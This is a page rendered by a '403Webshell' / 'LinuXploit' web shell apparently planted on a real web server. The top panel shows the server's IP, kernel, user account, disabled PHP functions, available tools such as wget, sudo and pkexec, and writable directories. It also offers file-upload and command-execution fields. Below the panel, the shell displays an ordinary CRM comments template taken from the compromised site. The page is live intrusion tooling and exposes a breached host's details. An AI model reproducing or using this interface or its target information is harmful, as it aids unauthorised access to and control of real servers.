403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app.houseland.info/application/views/admin/contracts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.houseland.info/application/views/admin/contracts/comments_template.php
<?php defined('BASEPATH') or exit('No direct script access allowed');
   ob_start();
   $len = count($comments);
   $i   = 0;
   foreach ($comments as $comment) { ?>
<div class="col-md-12 comment-item" data-commentid="<?php echo e($comment['id']); ?>">

    <?php if ($comment['staffid'] != 0) { ?>
    <a href="<?php echo admin_url('profile/' . $comment['staffid']); ?>">
        <?php
      echo staff_profile_image($comment['staffid'], [
        'staff-profile-image-small',
        'media-object img-circle pull-left mright10',
        ]);
        ?>
    </a>
    <?php } ?>
    <?php if ($comment['staffid'] == get_staff_user_id() || is_admin()) { ?>
    <a href="#" class="pull-right" onclick="remove_contract_comment(<?php echo e($comment['id']); ?>); return false;">
        <i class="fa fa-times text-danger"></i>
        <a href="#" class="pull-right mright5"
            onclick="toggle_contract_comment_edit(<?php echo e($comment['id']); ?>);return false;"><i
                class="fa-regular fa-pen-to-square"></i></a>
    </a>
    <?php } ?>
    <div class="media-body">
        <div class="mtop5">
            <?php if ($comment['staffid'] != 0) { ?>
            <a
                href="<?php echo admin_url('profile/' . $comment['staffid']); ?>"><?php echo e(get_staff_full_name($comment['staffid'])); ?></a>
            <?php } else { ?>
            <?php echo '<b>' . _l('is_customer_indicator') . '</b>'; ?>
            <?php } ?>
            <small class="text-muted text-has-action" data-toggle="tooltip"
                data-title="<?php echo e(_dt($comment['dateadded'])); ?>"> -
                <?php echo e(time_ago($comment['dateadded'])); ?></small>
        </div>
        <div data-contract-comment="<?php echo e($comment['id']); ?>" class="tw-mt-3">
            <?php echo process_text_content_for_display($comment['content']); ?>
        </div>
        <div data-contract-comment-edit-textarea="<?php echo e($comment['id']); ?>" class="hide tw-mt-3">
            <?php echo render_textarea('comment-content', '', $comment['content']); ?>
            <?php if ($comment['staffid'] == get_staff_user_id() || is_admin()) { ?>
            <div class="text-right">
                <button type="button" class="btn btn-default"
                    onclick="toggle_contract_comment_edit(<?php echo e($comment['id']); ?>);return false;"><?php echo _l('cancel'); ?></button>
                <button type="button" class="btn btn-primary"
                    onclick="edit_contract_comment(<?php echo e($comment['id']); ?>);"><?php echo _l('update_comment'); ?></button>
            </div>
            <?php } ?>
        </div>
    </div>
    <?php if ($i >= 0 && $i != $len - 1) {
            echo '<hr />';
        }
      ?>
</div>
<?php $i++; } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit